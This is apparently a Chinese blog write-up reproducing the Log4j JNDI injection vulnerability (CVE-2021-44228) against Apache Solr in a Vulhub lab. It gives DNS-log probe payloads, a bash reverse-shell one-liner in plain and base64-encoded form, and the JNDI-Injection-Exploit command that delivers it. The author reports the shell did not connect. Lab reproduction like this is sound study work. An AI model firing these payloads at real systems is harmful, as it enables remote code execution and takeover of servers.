VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了,环境搭建不讲,网上其他文章很好。
访问该环境:
在这里插入图片描述
POC
构造(任选其一):

 ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}

我是用了yakit生成了一个可用域名,当然直接去dnslog平台生成也可以,但是我用习惯这个地方了,还是相当好用的一款国产化漏洞挖掘集成器。
在这里插入图片描述
访问:

http://192.168.220.142:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.rsjlpxqral.dgrh3.cn}

访问之后出现一条dnslog日志:
在这里插入图片描述
并且知道了java的版本是1.8.0_102
因为poc里面加了一个查看java版本的命令${sys:java.version},所以讲java版本结果回显在dnslog上面来了。

下面说怎么反弹shell操作:

bash -i >& /dev/tcp/192.168.220.142/6666 0>&1

意思是把shell回弹到/192.168.220.142/6666地方
bash编码一下:https://www.sqlsec.com/rce/
在这里插入图片描述

bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xNDIvNjY2NyAwPiYx}|{base64, -d}|{bash, -i}

下载利用工具:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xNDIvNjY2NyAwPiYx}|{base64, -d}|{bash, -i}" -A "http://192.168.220.142/" -C是编码后的内容,-A是反弹shell的ip地址。
注意要先nc监听6666端口
在这里插入图片描述
如上图访问

http://192.168.220.142:8983/solr/admin/cores?action=${jndi:ldap://192.168.220.142:1099/eftobp}

额 不知道为啥子没成功。。。。。
然后看了看其他人的文章发现:
在这里插入图片描述
就这样吧,反正搞懂了过程,也知道实战中怎么利用了。
而且我的环境是java1.8,真搞不懂
下面来看下原理吧:

Log4j→Log for Java,Apache的开源日志记录组件

JDK→1.8u21以下的版本

看这篇文章吧直接:https://blog.csdn.net/FisrtBqy/article/details/130680143

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-30 00:30:05       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-30 00:30:05       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-30 00:30:05       82 阅读
  4. Python语言-面向对象

    2024-04-30 00:30:05       91 阅读

热门阅读

  1. c# 字典与内存碎片化

    2024-04-30 00:30:05       30 阅读
  2. 第三部分 Vue讲解(22-25)(代码版)

    2024-04-30 00:30:05       22 阅读
  3. 启动前端项目

    2024-04-30 00:30:05       29 阅读
  4. 深度探索DreamFusion:AI和3D建模的革命

    2024-04-30 00:30:05       31 阅读
  5. SpringCloud Ribbon介绍

    2024-04-30 00:30:05       31 阅读
  6. Docker之安装部署

    2024-04-30 00:30:05       32 阅读
  7. 【置顶】前端工具库

    2024-04-30 00:30:05       29 阅读
  8. 【第27章】spring-spel进阶版

    2024-04-30 00:30:05       21 阅读
  9. 【Linux】SFTP定时下载文件

    2024-04-30 00:30:05       36 阅读
  10. 晨华一网统管综合信息平台

    2024-04-30 00:30:05       30 阅读
  11. 力扣练习4.29

    2024-04-30 00:30:05       27 阅读